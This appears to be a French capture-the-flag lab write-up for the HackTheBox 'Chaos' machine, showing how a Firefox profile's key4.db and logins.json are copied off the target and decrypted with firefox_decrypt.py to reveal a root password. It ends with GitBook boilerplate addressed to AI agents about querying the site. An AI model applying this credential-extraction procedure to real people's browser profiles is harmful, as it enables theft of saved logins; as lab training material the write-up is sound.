> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/post-exploitation/extracting-credentials-from-firefox-profile.md).

# Extraction des identifiants du profil Firefox

## **Extraction des identifiants Firefox**

Dans le dossier d'Ayush `.mozilla` , nous trouvons `key4.db` et `logins.json`.

<figure><img src="/files/ccd823c67ba5a192aed677f8acf9f95a9d10e4cb" alt=""><figcaption></figcaption></figure>

Nous les transférons sur notre machine :

<figure><img src="/files/5c441ab04c6dec1eb5f0a13d8a9468f3a691513e" alt=""><figcaption></figcaption></figure>

```bash
python3 -m http.server 8080
wget -r chaos.htb:8080
```

<figure><img src="/files/498979b79c24180f6957eb68aec7a9763335f689" alt=""><figcaption></figcaption></figure>

Déchiffrement des identifiants avec `firefox_decrypt.py`:

{% embed url="<https://github.com/unode/firefox_decrypt>" %}

```bash
python3 firefox_decrypt.py chaos.htb:8080
```

Nous saisissons `jiujitsu` comme mot de passe maître et récupérons :

<figure><img src="/files/c01245578ce6fc561846b0c55c9d3aa6e5f6901b" alt=""><figcaption></figcaption></figure>

> Mot de passe maître pour le profil chaos.htb:8080/bzo7sjt1.default
>
> Site web : <https://chaos.htb:10000>
>
> Nom d’utilisateur : 'root' Mot de passe : 'Thiv8wrej/\~


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/post-exploitation/extracting-credentials-from-firefox-profile.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
